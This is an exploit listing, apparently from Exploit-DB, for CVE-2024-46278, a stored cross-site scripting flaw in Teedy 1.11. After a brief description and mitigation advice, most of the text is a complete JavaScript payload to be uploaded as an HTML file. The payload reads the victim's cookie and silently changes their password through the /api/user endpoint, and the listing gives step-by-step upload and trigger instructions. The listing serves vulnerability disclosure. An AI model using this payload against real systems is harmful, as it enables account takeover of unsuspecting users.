Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)

vendor:

Teedy

by:

Ayato Shitomi

6.1

CVSS

HIGH

Account Takeover via Stored Cross-Site Scripting (XSS)

CWE

Product Name: Teedy

Affected Version From: 1.11

Affected Version To: 1.11

Patch Exists: NO

Related CWE: CVE-2024-46278

CPE: a:teedy:teedy:1.11

Metasploit:

Other Scripts:

Platforms Tested: Linux

2024

Teedy 1.11 – Account Takeover via Stored Cross-Site Scripting (XSS)

Teedy 1.11 is vulnerable to an XSS exploit that could enable a malicious Teedy administrator to take over an account by manipulating certain requests. By uploading a specially crafted HTML file and modifying the 'Origin' and 'Referer' headers during the fetch request, an attacker can execute arbitrary scripts in the context of the user's session, leading to an account takeover.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user inputs, encode output, and implement proper header security mechanisms such as Content Security Policy (CSP) to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Author: Ayato Shitomi @ Fore-Z co.ltd
# Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA
# Vendor Homepage: https://teedy.io/
# Software Link: https://github.com/Tomblib0/Teedy
# Version: 1.11
# Tested on: Linux
# CVE : CVE-2024-46278

There is a vulnerability that causes XSS when downloading files.
XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks.


Login as an attacker’s account.
Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need.

```
<script>
const currentCookie = document.cookie;

const requestOptions = {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    'Accept': 'application/json, text/plain, */*',
    'Cookie': currentCookie,
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
    'sec-ch-ua-mobile': '?0',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
    'sec-ch-ua-platform': '"Linux"',
    'Origin': 'http://localhost:8080',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Dest': 'empty',
    'Referer': 'http://localhost:8080/',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'en-US,en;q=0.9'
  },
  body: 'password=superSecure2&passwordconfirm=superSecure2'
};

fetch('http://localhost:8080/api/user', requestOptions)
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
        document.write('<h1>Your account was taken over by the attacker LOL</h1>');
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
```

Login with another account. eg. admin
Click on the file uploaded by the attacker and select Download this file.